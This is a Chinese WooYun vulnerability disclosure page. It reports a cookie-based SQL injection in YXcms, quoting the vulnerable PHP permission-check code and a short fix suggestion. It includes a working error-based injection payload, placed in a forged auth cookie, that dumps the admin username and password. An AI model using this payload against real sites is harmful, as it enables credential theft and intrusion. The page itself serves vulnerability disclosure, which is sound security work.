当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-069267

漏洞标题：YXcms的cookie注入

相关厂商：yxcms.net

漏洞作者： zxx

提交时间：2014-07-22 11:03

修复时间：2014-10-17 11:04

公开时间：2014-10-17 11:04

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-07-22： 细节已通知厂商并且等待厂商处理中
2014-07-27： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2014-09-20： 细节向核心白帽子及相关领域专家公开
2014-09-30： 细节向普通白帽子公开
2014-10-10： 细节向实习白帽子公开
2014-10-17： 细节向公众公开

简要描述：

程序对注入过滤不严格，可以进行cookie注入。

详细说明：

前一篇中说到，我们可以绕过cookie验证，伪造登录，可是登录之后我们能做什么呢，权限太小了，找个注入玩玩吧。
PowerCheck函数用于验证登录权限。

Protected/apps/members/meberApi.php  
public function powerCheck(){//参数一：返回1没有权限，返回2为登陆有权限，返回数组登陆有权限
		 $cookie_auth=get_cookie('auth');//验证的时候从cookie中获取信息，拿我们看get_cookie函数
     if(empty($cookie_auth)) $group_id=1;//未登录组
     else{
        $memberinfo=explode('\t',$cookie_auth); 
        $auth['id']=$memberinfo[0];
        $auth['groupid']=$memberinfo[1];
        $auth['account']=$memberinfo[2];
        $auth['nickname']=empty($memberinfo[3])?'未知':$memberinfo[3];
        $auth['lastip']=$memberinfo[4];
        $auth['headpic']=$memberinfo[5];
        $group_id=$auth['groupid'];
     }
      $notallow=model('memberGroup')->find("id={$group_id}");//这里是重点，将$group_id直接带进去查询，而这个$group_id是从cookie里取得的，我们直接伪造cookie，进行注入。
      if(empty($notallow['notallow'])) return $group_id==1?array(2,$group_id):array($auth,$group_id);
      else{
        $flog=2;
        $rules=explode('|',$notallow['notallow']);
        foreach ($rules as $rule) {
          $power=explode(',',$rule);
          //R匹配
          $reds=explode('/',$power[0]);
          if(!empty($reds[0]) && $reds[0]==APP_NAME) $flog=1;
          if(!empty($reds[1]) && 1==$flog && $reds[1]!=CONTROLLER_NAME) $flog=2;
          if(!empty($reds[2]) && 1==$flog && $reds[2]!=ACTION_NAME) $flog=2;
          //参数匹配判断
          if(!empty($power[1]) && 1==$flog){
            $items=explode('/',$power[1]);
            if(!empty($items)){
              foreach ($items as $value) {
                 $gets=explode('=',$value);
                 if(!empty($gets[1]) && 1==$flog && $_GET[$gets[0]]!=$gets[1]) $flog=2;
              }
            }
          }
          if(1==$flog) return array($flog,$group_id);
        }
        return $group_id==1?array(2,$group_id):array($auth,$group_id);
      }
  }

漏洞证明：

加密前cookie为：31\t2 and (select 1 from (select count(*),concat((select concat(username,0x5f,password) from yx_admin limit 1),floor(rand(0)*2))x from information_schema.tables group by x)a)#\tzzz333\tzzz333\t221.196.57.31\t

图片3.png


修复方案：

前一篇提到对cookie进行验证，另外从cookie中取出来group_id过滤一下吧。

版权声明：转载请注明来源 zxx@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-10-17 11:04

厂商回复：

最新状态：

暂无